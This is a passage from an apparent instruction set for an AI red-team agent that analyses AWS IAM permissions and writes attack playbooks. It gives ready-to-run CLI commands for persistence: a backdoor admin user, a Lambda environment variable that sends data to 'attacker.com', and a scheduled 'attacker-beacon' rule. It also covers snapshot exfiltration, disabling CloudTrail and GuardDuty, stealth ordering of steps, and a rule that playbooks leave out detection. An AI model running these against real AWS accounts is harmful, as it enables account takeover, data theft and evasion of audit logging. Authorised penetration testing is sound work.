the required permissions is viable. - -**1. Long-lived access keys** -- Required: `iam:CreateAccessKey` on self or target user -- Command: `aws iam create-access-key --user-name TARGET_USER` -- Cleanup indicator: Access key visible in `aws iam list-access-keys` -- Persistence value: Survives credential rotation of original access; independent long-term access -- Represents: IAM identity persistence via standalone credentials - - Variants include: CreateLoginProfile (console password on user without one), UpdateLoginProfile (change existing console password) - -**2. Backdoor IAM user** -- Required: `iam:CreateUser` + `iam:CreateAccessKey` + `iam:AttachUserPolicy` -- Commands: - ```bash - aws iam create-user --user-name backdoor-svc-account - aws iam attach-user-policy --user-name backdoor-svc-account --policy-arn arn:aws:iam::aws:policy/AdministratorAccess - aws iam create-access-key --user-name backdoor-svc-account - ``` -- Cleanup indicator: New user visible in IAM console and `list-users` -- Persistence value: Completely independent identity; survives compromised principal lockout -- Represents: New IAM identity creation for persistent access - - Variants include: Backdoor IAM role with cross-account trust (iam:CreateRole + iam:AttachRolePolicy — survives all credential changes in target account), Inline policy injection on existing role/user (iam:PutRolePolicy — adds permissions to existing identity, harder to detect), IAM trust policy backdoor (iam:UpdateAssumeRolePolicy — adds attacker account to existing role's trust policy without creating new resources) - -**3. Lambda backdoor** -- Required: `lambda:UpdateFunctionConfiguration` (or `lambda:CreateFunction`) -- Command: `aws lambda update-function-configuration --function-name TARGET_FUNC --environment 'Variables={EXFIL_URL=https://attacker.com/collect}'` -- Cleanup indicator: Modified environment variables; function version change -- Persistence value: Harvests credentials each time function executes; passive collection -- Represents: Compute-backed persistence — code runs as the function's execution role - - Variants include: lambda:CreateEventSourceMapping (trigger attacker Lambda on every SQS/DynamoDB/Kinesis event — passive data interception), SSM CreateAssociation (persistent command execution on instances on a schedule), EC2 user data modification (ec2:ModifyInstanceAttribute — executes on every instance start/restart) - -**4. EventBridge scheduled rule** -- Required: `events:PutRule` + `events:PutTargets` + `lambda:AddPermission` -- Commands: - ```bash - aws events put-rule --name system-health-check \ - --schedule-expression 'rate(6 hours)' \ - --state ENABLED - aws lambda add-permission --function-name attacker-beacon \ - --statement-id eventbridge-invoke \ - --action lambda:InvokeFunction \ - --principal events.amazonaws.com \ - --source-arn arn:aws:events:REGION:ACCOUNT:rule/system-health-check - aws events put-targets --rule system-health-check \ - --targets '[{"Id":"beacon","Arn":"arn:aws:lambda:REGION:ACCOUNT:function:attacker-beacon"}]' - ``` -- Cleanup indicator: Rule visible in EventBridge console; scheduled executions in CloudWatch metrics -- Persistence value: Executes attacker Lambda on a schedule; survives credential rotation and instance termination. Rule name can blend with legitimate monitoring rules. -- Represents: Event-driven or scheduled persistence triggered by AWS infrastructure - - Variants include: Scheduled Lambda via CloudWatch Events cron (events:PutRule + events:PutTargets with cron expression — same mechanism, more precise scheduling) - ---- - -### Output Format - -```markdown -## PERSISTENCE ANALYSIS - -**Escalated principal:** [post-escalation identity] -**Techniques available:** [N] of [total checked] - -### Available Techniques - -[For each technique where principal has CONFIRMED or LIKELY access:] - -**[N]. [Technique Name]** -Permission gate: [required permission] — [CONFIRMED | LIKELY] -```bash -[CLI command] -``` -Cleanup indicator: [what makes this visible] - -### Unavailable Techniques - -[For each technique where principal lacks required permissions:] - -[N]. [Technique Name] — requires [permission] (NOT AVAILABLE) -``` - ---- - -### Stealth Technique Ordering - -When presenting available persistence techniques, sort by the visibility class of the technique's PRIMARY action (the main exploitative API call, not enumeration prerequisites): - -- Sort order: `[NONE]` first, `[DATA]` second, `[MGT]` last -- Look up each technique's primary AWS API action in CT_CLASSES (loaded from config after Gate 2). Default to `[MGT]` if not found. -- Tiebreaker within same visibility class: use your judgment based on persistence durability and operational value - ---- - -### Integration - -After completing persistence analysis, populate the `## PERSISTENCE ANALYSIS` block in `` with the full output from this section. - - - -## Exfiltration Analysis - -After persistence analysis, evaluate which data exfiltration vectors the escalated principal can exploit. For each vector, check whether the principal (post-escalation) has the required permissions — CONFIRMED or LIKELY only. - ---- - -### Vector Catalogue - -The vectors below are representative examples — one per exfiltration pattern. -Reason about the escalated principal's full permission set for additional exfiltration vectors not listed here. Any vector where the principal has the required permissions is viable. - -**1. S3 bucket access** -- Required: `s3:GetObject`, `s3:ListBucket` -- Enumeration: `aws s3 ls` then `aws s3 ls s3://BUCKET --recursive | head -50` -- Data reachable: Objects in accessible buckets -- Scope estimate: `aws s3 ls s3://BUCKET --recursive --summarize | tail -2` (total size) -- Represents: Object-level data plane access — direct bulk data retrieval - - Variants include: s3:GetObject on config buckets (credential files, .env, terraform state), kms:Decrypt (decrypt anything encrypted with accessible KMS keys — S3 SSE-KMS objects, EBS volumes, RDS snapshots), dynamodb:Scan (full table contents including application data and API keys) - -**2. Secrets Manager secrets** -- Required: `secretsmanager:GetSecretValue` -- Enumeration: `aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}'` -- Data reachable: Application secrets, API keys, database credentials -- Scope estimate: Count of accessible secrets × average secret size -- Represents: Credential/secret access — secrets management services - - Variants include: ssm:GetParameter + ssm:GetParametersByPath (SecureString parameters — database connection strings, API keys, certificates), cloudformation:DescribeStacks (stack outputs often contain credentials, endpoints, API keys), redshift:GetClusterCredentials (temporary database credentials for full data warehouse access) - -**3. RDS snapshot export** -- Required: `rds:CreateDBSnapshot` + `rds:ModifyDBSnapshotAttribute` -- Enumeration: `aws rds describe-db-snapshots --query 'DBSnapshots[].{ID:DBSnapshotIdentifier,Engine:Engine,Size:AllocatedStorage}'` -- Data reachable: Full database contents via snapshot restore in attacker account -- Scope estimate: Sum of `AllocatedStorage` across accessible snapshots -- Represents: Database exfiltration via snapshot copy to attacker-controlled account - - Variants include: rds:CopyDBSnapshot + rds:ModifyDBSnapshotAttribute (cross-account copy — full database via restore) - -**4. EBS snapshot access** -- Required: `ec2:CreateSnapshot` + `ec2:ModifySnapshotAttribute` -- Enumeration: `aws ec2 describe-volumes --query 'Volumes[].{ID:VolumeId,Size:Size,Attached:Attachments[0].InstanceId}'` -- Data reachable: Full block-level disk contents of EBS volumes — application data, database files, credentials on disk, private keys -- Scope estimate: Sum of `Size` (GiB) across accessible volumes; `aws ec2 describe-snapshots --owner-ids self` for existing snapshots -- Represents: Block storage exfiltration — raw disk access - - Variants include: ebs:ListSnapshotBlocks + ebs:GetSnapshotBlock (direct API block-level read — extract filesystem contents without restoring to volume) - ---- - -### Output Format - -```markdown -## EXFILTRATION ANALYSIS - -**Escalated principal:** [post-escalation identity] -**Vectors available:** [N] of [total checked] - -### Accessible Data - -[For each vector where principal has CONFIRMED or LIKELY access:] - -**[N]. [Vector Name]** -Permission gate: [required permission] — [CONFIRMED | LIKELY] -Enumeration command: -```bash -[CLI command] -``` -Data reachable: [description] -Scope estimate: [size/count estimate] - -### Inaccessible Vectors - -[For each vector where principal lacks required permissions:] - -[N]. [Vector Name] — requires [permission] (NOT AVAILABLE) -``` - ---- - -### Stealth Vector Ordering - -When presenting available exfiltration vectors, sort by the visibility class of the vector's PRIMARY action: - -- Sort order: `[NONE]` first, `[DATA]` second, `[MGT]` last -- Look up each vector's primary AWS API action in CT_CLASSES (loaded from config after Gate 2). Default to `[MGT]` if not found. -- This ensures DATA vectors (s3:GetObject, kms:Decrypt, dynamodb:Scan, ebs:GetSnapshotBlock) sort before MGT vectors (secretsmanager:GetSecretValue, rds snapshots, cloudformation:DescribeStacks, ssm:GetParameter, redshift:GetClusterCredentials) - ---- - -### Integration - -After completing exfiltration analysis, populate the `## EXFILTRATION ANALYSIS` block in `` with the full output from this section. - - - -## Creative Reasoning -- Cross-Category Novel Path Discovery - -**IMPORTANT:** This section runs AFTER escalation_analysis, circumvention_analysis, lateral_movement, persistence_analysis, and exfiltration_analysis are complete. You have the full picture. - -### Instructions - -Review the principal's EFFECTIVE_PERMISSIONS and all catalogue results from the four attack categories. Apply the reasoning strategies below to discover novel abuse paths that are NOT in any catalogue. Each novel path must satisfy ALL of the following: - -1. Uses only API actions from the table or the supplemental allowlist below -2. Does NOT duplicate any catalogue match (compare on required permissions + end state, not just description) -3. Is tagged with a primary category (escalation | lateral_movement | persistence | exfiltration) -4. Is classified by confidence tier (GUARANTEED | CONDITIONAL | SPECULATIVE) -5. Includes a reasoning chain explaining the discovery logic - -**Per-category cap:** Max 3 novel paths per category (12 total max). -**Zero novel paths:** If reasoning produces no paths beyond catalogue matches, state: "No novel paths identified beyond catalogue matches." - -### API Action Allowlist - -Novel paths may ONLY use AWS API actions that appear in: -1. The table (~190 actions) -2. The supplemental list below - -**Supplemental valid actions** (PassRole-relevant create/run actions and common chaining actions not in the classification table): -- codebuild:CreateProject, codebuild:StartBuild, codebuild:UpdateProject -- states:CreateStateMachine, states:StartExecution, states:UpdateStateMachine -- eks:CreateFargateProfile, eks:CreateNodegroup -- sagemaker:CreateNotebookInstance, sagemaker:CreateProcessingJob, sagemaker:CreateTrainingJob -- glue:CreateDevEndpoint, glue:CreateJob, glue:UpdateJob -- cloudformation:CreateStack, cloudformation:CreateStackSet, cloudformation:UpdateStack -- ecs:RunTask, ecs:StartTask, ecs:CreateService -- codecommit:PutFile, codecommit:CreateCommit -- codepipeline:StartPipelineExecution, codepipeline:UpdatePipeline -- sns:SetTopicAttributes, sns:Subscribe -- sqs:SetQueueAttributes - -If a novel path requires an action not on either list, discard that path. - -### Reasoning Strategies - -Apply these strategies across ALL four attack categories. Each strategy can produce paths in any category -- tag the output with the primary category. - -1. **Start from permissions, not catalogue.** Review every CONFIRMED and LIKELY permission. For each, ask: "What can I CREATE, MODIFY, or ASSUME with this?" The catalogue checks known combos -- you check ALL combos. - -2. **Transitive trust.** If the principal can modify ANY resource that another principal trusts (role trust policy, Lambda code, EC2 user data, CodeBuild buildspec), that's a potential path even if the service isn't in any catalogue. - -3. **Chain services.** Combine two services not paired in any catalogue: - - S3 write + CodePipeline read = code injection under pipeline role - - EventBridge rule modification = redirect events to attacker Lambda - - Step Functions update = inject malicious states calling privileged APIs - - SNS subscription modification = redirect notifications to exfiltration endpoint - - CodeCommit write + CodeBuild trigger = indirect code execution - -4. **Resource-based policies.** Check if the principal can modify resource-based policies on Lambda (`lambda:AddPermission`), S3 (`s3:PutBucketPolicy`), KMS (`kms:PutKeyPolicy`), SQS (`sqs:SetQueueAttributes`), or SNS (`sns:SetTopicAttributes`). Resource-based policies grant access independently of identity policies. - -5. **Time-delayed paths.** Paths that trigger on events rather than immediately: - - CloudWatch Events rule + Lambda schedule - - Auto Scaling launch template modification + scale-out - - CI/CD pipeline modification + code push trigger - - SSM Association with cron schedule - -6. **Data access as escalation.** Can the principal access secrets containing higher-privileged credentials? - - secretsmanager:GetSecretValue -> database creds, API keys, IAM credentials - - ssm:GetParameter -> plaintext secrets in Parameter Store - - s3:GetObject on config buckets -> credential files, .env, terraform state - - dynamodb:Scan/GetItem -> application tables with API keys - - kms:Decrypt -> decrypt ciphertext from any key the caller has access to - -7. **Disable security controls.** Can the principal remove monitoring: - - guardduty:DeleteDetector/UpdateDetector -> disable threat detection - - config:StopConfigurationRecorder -> disable AWS Config - - cloudtrail:StopLogging/DeleteTrail -> disable audit logging - - access-analyzer:DeleteAnalyzer -> disable IAM Access Analyzer - (These enable other paths to go undetected -- tag as persistence or escalation depending on context.) - -### Confidence Tier Classification - -Assign EXACTLY ONE tier to each novel path: - -| Tier | Tag | Confidence | Criteria | -|------|-----|------------|----------| -| Guaranteed | [NOVEL:GUARANTEED] | 90%+ | ALL required permissions CONFIRMED, no SCP/resource/config dependencies | -| Conditional | [NOVEL:CONDITIONAL] | 60-89% | Path works IF conditions hold (SCP clear, resource exists, config allows) | -| Speculative | [NOVEL:SPECULATIVE] | <60% | Theoretically possible, depends on unverified assumptions | - -**Calibration guidance:** Most novel paths should be CONDITIONAL. GUARANTEED requires every permission CONFIRMED with no external dependencies. SPECULATIVE applies when the path depends on assumptions about resource state or account configuration that cannot be verified from the current position. - -**Validation:** For paths with confidence < 80%, search the web (pathfinding.cloud, hackingthe.cloud, AWS docs) to validate the technique. If no validation found, cap at SPECULATIVE. - -### Deduplication - -Before including any novel path, verify it does not match ANY catalogue method across all four categories. Compare on: -- Required permissions (same permission set = likely duplicate) -- End state (same privilege level achieved = likely duplicate) -- Mechanism (same API call sequence = likely duplicate) - -If a novel path matches a catalogue method described differently, discard it. - -### Output Routing - -Route each novel path to its primary category. The novel path integrates INLINE with catalogue results in the playbook output -- it is NOT collected into a separate section. - -- **Escalation paths:** Compete in top-3 selection, appear in PATH sections with [NOVEL:TIER] tag -- **Lateral movement chains:** Appear inline in ## LATERAL MOVEMENT CHAINS -- **Persistence techniques:** Appear inline in ## PERSISTENCE ANALYSIS as additional numbered techniques -- **Exfiltration vectors:** Appear inline in ## EXFILTRATION ANALYSIS as additional numbered vectors - -Novel paths participate in the same stealth ordering as catalogue paths (Phase 28 noise scoring). - -### Reasoning Chain (results.json only) - -For each novel path, produce a reasoning chain. This chain appears ONLY in results.json (the `reasoning` field), NOT in playbook output. Format: - -"[Strategy used] -> [Permission observed] -> [Intermediate step] -> [End state] -> [Why not in catalogue]" - - - -## Playbook Output - -After Gate 3 operator approval, generate the complete red team playbook for the selected top-3 paths. - -**CRITICAL REMINDER:** When writing each path narrative, do NOT mention CloudTrail events, GuardDuty findings, detection probability, OPSEC considerations, or what the SOC will see. Those topics are strictly outside this skill's scope. Write as if the only audience is a red team operator who needs to execute the attack. Visibility class tags ([MGT], [DATA], [NONE]) on step headings are permitted per the HARD PROHIBITION amendment — these are operational metadata, not detection analysis. - -### PassRole Attack Surface Analysis - -Before generating path narratives, map the PassRole attack surface. This produces the `## PASSROLE ATTACK SURFACE` section in the playbook output. - -**Instructions:** - -1. From EFFECTIVE_PERMISSIONS, check for `iam:PassRole`. If NOT present (neither CONFIRMED nor LIKELY), skip this section entirely and output: "PassRole not available -- skipping attack surface mapping." - -2. PassRole analysis applies at the action level only. When `iam:PassRole` is CONFIRMED or LIKELY for the principal, all discovered roles are treated as passable candidates. The agent does not attempt to derive per-role or per-ARN scoping from the resource field of the PassRole policy statement. If operator-supplied context explicitly states a restricted PassRole scope (e.g., from a policy document already read), that constraint may be noted as context, but it must not be used to exclude candidate roles from the attack surface map without independent verification. - -3. For each candidate role, check the 10 core PassRole services below. A role appears in the graph ONLY if BOTH conditions are met: - - `iam:PassRole` (any scope) is CONFIRMED or LIKELY for the principal - - Service-specific create/run permission: CONFIRMED or LIKELY - -**Core 10 PassRole Services:** - -| Service | Create/Run Permission(s) | What Executes | -|---------|-------------------------|---------------| -| Lambda | lambda:CreateFunction, lambda:UpdateFunctionCode | Function code runs as passed role | -| EC2 | ec2:RunInstances | Instance profile runs as passed role | -| ECS | ecs:RunTask, ecs:CreateService | Task runs as passed role | -| EKS | eks:CreateFargateProfile, eks:CreateNodegroup | Pods/nodes run as passed role | -| Glue | glue:CreateDevEndpoint, glue:CreateJob | ETL job runs as passed role | -| SageMaker | sagemaker:CreateNotebookInstance, sagemaker:CreateProcessingJob | ML job runs as passed role | -| CodeBuild | codebuild:CreateProject, codebuild:StartBuild | Build runs as passed role | -| Step Functions | states:CreateStateMachine | State machine runs as passed role | -| SSM | ssm:CreateAssociation | SSM document runs on target as passed role | -| CloudFormation | cloudformation:CreateStack, cloudformation:CreateStackSet | Stack resources created as passed role | - -4. For each confirmed PassRole chain, enumerate the downstream access of the passed role (what the role can do). Limit to 2 hops: - - Hop 1: Caller -> Service -> Role - - Hop 2: Role -> Resources/Actions the role has access to - - If the passed role itself has iam:PassRole to another role, note "further PassRole possible" but do NOT expand beyond 2 hops. - -5. Produce the output in this format: - -``` -## PASSROLE ATTACK SURFACE - -**Passable roles:** [N] roles across [M] services -**Attack chains:** [N] composable chains - -### Directed Graph - -caller:[principal-identifier] - | - +-- iam:PassRole --> [service]:[create/run action] - | Role: [RoleName] (arn:aws:iam::[account]:role/[RoleName]) - | Downstream: [key capabilities -- service:action scope summaries] - | Chain depth: 1 - | [If role has further PassRole: "Note: [RoleName] has iam:PassRole to [OtherRole] -- further chain possible (depth 2)"] - | - +-- iam:PassRole --> [service]:[create/run action] - Role: [RoleName] (arn:aws:iam::[account]:role/[RoleName]) - Downstream: [key capabilities] - Chain depth: 1 - -### Role Capability Summary - -| Role | Passed via | Service Action | Key Capabilities | Further PassRole? | -|------|-----------|---------------|------------------|-------------------| -| [RoleName] | iam:PassRole [CONFIRMED/LIKELY] | [service:action] [CONFIRMED/LIKELY] | [capability summary] | Yes/No | -``` - -**Zero PassRole:** If no roles can be passed (iam:PassRole not available, or no service-specific permissions match), output: -``` -## PASSROLE ATTACK SURFACE - -No PassRole attack surface identified -- caller lacks iam:PassRole or matching service-specific create/run permissions for any discovered roles. -``` - -### Path Narrative Format - -Generate one section per selected path using this exact structure: - -```markdown -## PATH [N]: [Descriptive Name] — [N steps] — Confidence: [X]% — Noise: [X] MGT / [Y] DATA -## PATH [N]: [NOVEL:CONDITIONAL] [Path Name] -- [X] steps -- Confidence: [Y]% -- Noise: [X MGT / Y DATA] - -**Access gained:** [What privilege level is reached — e.g., "Full account administrator via inline policy self-attachment"] -**Why it works:** [One paragraph — which specific permission enables it, why the boundary (if any) does not block it, what access the escalation grants. Be concrete — reference the actual policy documents found during enumeration.] -**Confidence caveats:** [Specific conditions that could invalidate — e.g., "Works unless org has SCP blocking iam:PutUserPolicy on all accounts" or "Confirmed via simulate-principal-policy; no caveats" or "SCP status unknown — confidence reduced from 95% to 80%"] - -### Step 1: [Action Description] [MGT] - -```bash -aws [service] [command] [args with ACCOUNT_ID, USERNAME, ROLE_NAME placeholders] -``` - -**What this does:** [One sentence explaining why this step is necessary] - -### Step 2: [Action Description] [MGT] - -```bash -aws [service] [command] [args] -``` - -**What this does:** [One sentence] - -[... repeat for each step ...] - -**Visibility tagging:** For each step, look up the primary AWS API action in the `` table and append the visibility class tag ([MGT], [DATA], or [NONE]) to the step heading. If a step calls multiple API actions, use the noisiest class (MGT > DATA > NONE). Use ONLY the classification table — do not infer visibility from training data. If the action is not in the table, default to [MGT]. - -**Noise profile:** Count the [MGT] and [DATA] tags in this path's steps to compute the noise profile in the path header. The counts MUST match the actual visibility tags on the steps below — compute from the tags, not independently. - -**Dependency lock annotation:** When a [MGT] step must precede a [DATA] or [NONE] step due to causal dependency (preventing optimal stealth ordering), append a dependency note to the step heading: -``` -### Step N: [Action] [MGT] — must precede Step M (dependency) -``` -Only add this annotation when the ordering is suboptimal — when a noisy step is forced before a quiet step. If all steps naturally sort quiet-first, no annotation is needed. - -### IAM Policy Document (ready to attach) - -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "PrivEsc[N]", - "Effect": "Allow", - "Action": "*", - "Resource": "*" - } - ] -} -``` - -**Attach command:** -```bash -aws iam put-user-policy \ - --user-name TARGET_USER \ - --policy-name PrivEscAdmin \ - --policy-document '{"Version":"2012-10-17","Statement":[{"Sid":"PrivEscAdmin","Effect":"Allow","Action":"*","Resource":"*"}]}' -``` - ---- -``` - -For paths that use role assumption rather than inline policy (e.g., PassRole to Lambda), provide the IAM policy JSON the Lambda function or compute resource would use, or the policy that would be attached to the role. Tailor the policy to the specific method — it should be minimal for the exploit to work, not always `Action: "*"`. - -### After All 3 Paths - -After the last path section, append the post-escalation analysis sections in attack chain order. Each section is populated from its respective agent section: - -```markdown -## CIRCUMVENTION ANALYSIS - -[Output from section — SCP gap findings, boundary bypass analysis, condition key exploitation opportunities, each with proof-of-concept commands and deployable policy JSON. If no bypasses found, state "No target-scoped circumvention opportunities identified — see confidence caveats on each path above."] - -## LATERAL MOVEMENT CHAINS — [N] chains ([Q] quiet, [R] noisy) - -[Output from section AND any novel lateral chains from . Novel chains appear inline with [NOVEL:TIER] tag. quiet/noisy chain ordering applies to novel chains the same as catalogue chains. Full reachability tree, high-value targets, full attack chain traces with credential variable passing, circular trust relationships, shared intermediate hops. quiet = chains with 0 MGT hops; noisy = chains with 1+ MGT hops.] - -## PERSISTENCE ANALYSIS — [N] available ([Q] quiet, [R] noisy) - -[Output from section AND any novel persistence techniques from . Novel techniques appear inline as additional numbered entries with [NOVEL:TIER] tag. quiet/noisy classification applies to novel techniques the same as catalogue techniques. Representative techniques checked plus reasoning across full permission set. Available techniques listed with CLI commands and cleanup indicators. Unavailable techniques noted with missing permissions. quiet = techniques whose primary action is [NONE] or [DATA]; noisy = techniques whose primary action is [MGT].] - -## EXFILTRATION ANALYSIS — [N] available ([Q] quiet, [R] noisy) - -[Output from section AND any novel exfiltration vectors from . Novel vectors appear inline as additional numbered entries with [NOVEL:TIER] tag. quiet/noisy classification applies to novel vectors the same as catalogue vectors. Representative vectors checked plus reasoning across full permission set. Accessible data enumerated with scope estimates. Inaccessible vectors noted with missing permissions. quiet = vectors whose primary action is [NONE] or [DATA]; noisy = vectors whose primary action is [MGT].] -``` - -### Gate 4 and Artifact Writing - -Display Gate 4 and wait for operator response: - -- **"continue":** Write the full playbook to `$RUN_DIR/playbook.md`. Then display: "Playbook written to [RUN_DIR]/playbook.md" -- **"skip":** Display the playbook in conversation only. Do not write to disk. Display: "Playbook displayed above — not written to disk per operator selection." -- **"stop":** Stop without writing. Display: "Session stopped before artifact write." - -### Final INDEX.md Append - -After Gate 4 (regardless of write/skip/stop choice), append to `./exploit/INDEX.md`: - -```bash -# Create ./exploit/INDEX.md if it doesn't exist (with header) -# Then append: -| [RUN_ID] | [date +%Y-%m-%d %H:%M] | [TARGET_ARN] | [N paths found] | [highest priv: ADMIN/SERVICE/LATERAL] | [RUN_DIR] | -``` - -If no paths were found, use "0" for paths found and "NONE" for highest priv. - -Output the run directory path: -``` -All artifacts saved to: [RUN_DIR] -``` - - - -## Results JSON Export - -After completing the playbook and all post-escalation analysis sections, aggregate results into a structured JSON for the SCOPE dashboard. - -### Data Format - -Build the results object from the exploit analysis. Include all principals, roles, and resources referenced in escalation paths, lateral movement, persistence, and exfiltration analysis. - -```json -{ - "account_id": "123456789012", - "source": "exploit", - "target_arn": "arn:aws:iam::123456789012:user/alice", - "timestamp": "2026-03-02T...", - "summary": { - "paths_found": 3, - "novel_paths_found": 1, - "passrole_chains": 2, - "persistence_techniques": 4, - "exfiltration_vectors": 3, - "risk_score": "critical", - "highest_priv": "ADMIN" - }, - "graph": { - "nodes": [ - {"id": "user:alice", "label": "alice", "type": "user"}, - {"id": "role:AdminRole", "label": "AdminRole", "type": "role"}, - {"id": "esc:iam:PutUserPolicy", "label": "PutUserPolicy", "type": "escalation"}, - {"id": "data:s3:prod-bucket", "label": "prod-bucket", "type": "data"} - ], - "edges": [ - {"source": "user:alice", "target": "esc:iam:PutUserPolicy", "edge_type": "priv_esc", "severity": "critical"}, - {"source": "user:alice", "target": "role:AdminRole", "trust_type": "same-account"}, - {"source": "role:AdminRole", "target": "data:s3:prod-bucket", "edge_type": "data_access"} - ] - }, - "attack_paths": [ - { - "name": "Path Name", - "noise_score": 1, - "noise_profile": {"MGT": 1, "DATA": 2, "NONE": 0}, - "severity": "critical", - "category": "privilege_escalation", // one of: privilege_escalation, persistence, post_exploitation, lateral_movement, exfiltration - "source": "catalogue", // "catalogue" for static catalogue methods, "novel" for creative reasoning paths - "confidence_tier": null, // null for catalogue paths, "GUARANTEED"|"CONDITIONAL"|"SPECULATIVE" for novel paths - "reasoning": null, // null for catalogue paths, reasoning chain string for novel paths - "description": "What this path achieves and why it matters", - "steps": [ - { - "description": "Attach admin inline policy to self", - "action": "iam:PutUserPolicy", - "visibility": "MGT" - }, - { - "description": "Verify escalated access", - "action": "sts:GetCallerIdentity", - "visibility": "MGT" - } - ], - "mitre_techniques": ["T1078.004", "T1548"], - "affected_resources": ["user:alice", "role:AdminRole"], - "detection_opportunities": [], // Always empty — detection content is prohibited in exploit output (scope-defend's domain) - "remediation": ["SCP/IAM fix"], - "lateral_movement_chain": [ - {"from": "user:alice", "to": "role:AdminRole", "mechanism": "sts:AssumeRole"} - ], - "persistence_techniques": [ - {"technique": "Long-lived access keys", "available": true, "permission": "iam:CreateAccessKey"} - ], - "exfiltration_vectors": [ - {"vector": "S3 bucket access", "available": true, "permission": "s3:GetObject", "scope_estimate": "50GB across 3 buckets"} - ] - } - ] -} -``` - -**Step object fields:** -- `description` — what the step does (maps to the step heading text) -- `action` — primary AWS API action in `service:Action` format -- `visibility` — CloudTrail visibility class from the classification table: `"MGT"`, `"DATA"`, or `"NONE"` - -**Noise fields:** `noise_score` = count of steps with visibility `"MGT"`. `noise_profile` = counts of each visibility class across all steps in the path (`{"MGT": N, "DATA": N, "NONE": N}`). The `attack_paths` array MUST be ordered by `noise_score` ascending (matching the stealth presentation order). - -**Source and confidence fields:** -- `source` -- `"catalogue"` for methods from the static catalogue, `"novel"` for paths discovered by creative reasoning -- `confidence_tier` -- `null` for catalogue paths (they use base confidence percentages), one of `"GUARANTEED"`, `"CONDITIONAL"`, `"SPECULATIVE"` for novel paths -- `reasoning` -- `null` for catalogue paths, reasoning chain string for novel paths (e.g., "chain-services -> s3:PutObject on codebuild-source-bucket -> codebuild:StartBuild -> CodeBuildRole has iam:AttachRolePolicy -> full admin. Not in catalogue because it requires specific S3 bucket + CodeBuild project pairing.") - -**Novel path counts:** `novel_paths_found` counts novel paths across all categories. Section-level totals (`paths_found`, `persistence_techniques`, `exfiltration_vectors`) include BOTH catalogue and novel entries as unified counts. - -### PassRole Graph Export - -If the PassRole attack surface section was generated, export it as a top-level `passrole_graph` object: - -```json -{ - "passrole_graph": { - "caller": "arn:aws:iam::123456789012:user/alice", - "nodes": [ - {"id": "caller", "type": "principal", "arn": "arn:aws:iam::123456789012:user/alice"}, - {"id": "lambda-service", "type": "service", "service": "lambda"}, - {"id": "LambdaExecRole", "type": "role", "arn": "arn:aws:iam::123456789012:role/LambdaExecRole"} - ], - "edges": [ - {"from": "caller", "to": "lambda-service", "type": "passrole", "action": "lambda:CreateFunction", "role": "LambdaExecRole"}, - {"from": "lambda-service", "to": "LambdaExecRole", "type": "executes_as"}, - {"from": "LambdaExecRole", "to": "s3-resources", "type": "has_access", "capabilities": "s3:* (all buckets)"} - ] - } -} -``` - -**Node types:** `principal` (the caller), `service` (AWS service used for PassRole), `role` (the passed role), `resource` (downstream accessible resources -- optional, for key resources only). - -**Edge types:** `passrole` (caller passes role to service), `executes_as` (service executes as the role), `has_access` (role has access to resources). - -If PassRole section was skipped (no PassRole available), set `"passrole_graph": null`. - -**PassRole chain count:** `passrole_chains` = number of confirmed PassRole chains in the graph (number of edges with type `"passrole"`). Set to 0 if PassRole section was skipped. - -### Export Locations - -Write to TWO locations: - -1. **`$RUN_DIR/results.json`** — archived with the run artifacts (pretty-printed, 2-space indent) -2. **`dashboard/public/$RUN_ID.json`** — named by run ID for the SCOPE dashboard - -After writing the run-specific file, update the dashboard index: - -Read `dashboard/public/index.json` (or create if missing). Filter out any existing entry with the same `run_id`, then **unshift** (prepend) the new entry so it appears first. The dashboard takes the first run per source — insertion order matters: - -```json -{ - "runs": [ - { - "run_id": "exploit-20260301-143022-user-alice", - "source": "exploit", - "date": "2026-03-01T14:30:22Z", - "target": "arn:aws:iam::123456789012:user/alice", - "risk": "critical", - "status": "complete", - "file": "exploit-20260301-143022-user-alice.json" - } - ] -} -``` - -The `status` field is set to `"complete"` at export time. The post-processing pipeline (``) runs after the export and may log warnings if normalization or indexing encounters issues, but the initial export value is always `"complete"`. Do not reference `PIPELINE_STATUS` in the export block — that variable is not set until after this step. - -The SCOPE dashboard auto-loads `index.json` on mount, iterates `runs[]`, groups by `source`, and fetches the first entry per phase. - -### Verification - -After writing results.json, verify: -```bash -test -f "$RUN_DIR/results.json" && echo "Results OK" || echo "WARNING: results.json not created" -test -f "dashboard/public/$RUN_ID.json" && echo "Dashboard export OK" || echo "WARNING: dashboard export not created" -``` - -Dashboard HTML is generated by the post-processing pipeline. The dashboard build (`cd dashboard && npm run dashboard`) handles visualization. - - - - -## What Constitutes a Complete Exploit Run - -A complete run requires ALL of the following: - -1. **Gates 1-3 completed** — operator approved each gate before proceeding (Gate 4 only reached if paths were found) -2. **Permission intake succeeded** — effective permissions determined via audit data or fresh enumeration; 7-step evaluation applied -3. **Escalation analysis completed** — all family representatives checked AND novel path reasoning applied across the full permission set; top-3 paths identified (or zero-paths result reported with unlock suggestions) -4. **Circumvention analysis completed** — all 3 control types analyzed (SCP gaps, boundary bypasses, condition key exploitation) scoped to principal's actual permissions -5. **Lateral movement completed** — full reachability tree built; circular chains detected and reported; high-value targets identified; full attack chain traces reconstructed with parent pointers -6. **Persistence analysis completed** — representative techniques checked plus reasoning across full permission set; available techniques listed with CLI commands and cleanup indicators; unavailable techniques noted with missing permissions -7. **Exfiltration analysis completed** — representative vectors checked plus reasoning across full permission set; accessible data enumerated with scope estimates; inaccessible vectors noted with missing permissions -8. **Gate 4 completed (if paths found)** — operator approved playbook generation -9. **Playbook artifact written or displayed (if paths found)** — operator chose "continue" (file written) or "skip" (displayed only) -10. **INDEX.md and exploit/index.json updated** — run entries appended regardless of write/skip choice or zero-path result -11. **Results JSON exported (if paths found AND Gate 4 was not skipped)** — `$RUN_DIR/results.json` written with graph data, attack paths, persistence techniques, and exfiltration vectors; `dashboard/public/$RUN_ID.json` exported for the SCOPE dashboard. Gate 4 skip produces only the displayed playbook and `agent-log.jsonl` — no `results.json`, no dashboard export. -12. **Pipeline completed** — scope-pipeline.md invoked with PHASE=exploit (Phase 1 data normalization + Phase 2 evidence indexing both attempted, failures logged as warnings, non-blocking) - -## Zero Paths Result - -When zero escalation paths are found (principal has no CONFIRMED or LIKELY permissions matching any catalogue method AND novel reasoning produced no viable paths): - -- Output clearly: "No direct escalation paths found for target principal [ARN]" -- List what permissions would unlock paths (top 3 by smallest permission addition required): - - "Adding `iam:PutUserPolicy` would enable: Direct self-escalation to admin (1 step)" - - "Adding `iam:PassRole` + `lambda:CreateFunction` + `lambda:InvokeFunction` would enable: PassRole via Lambda 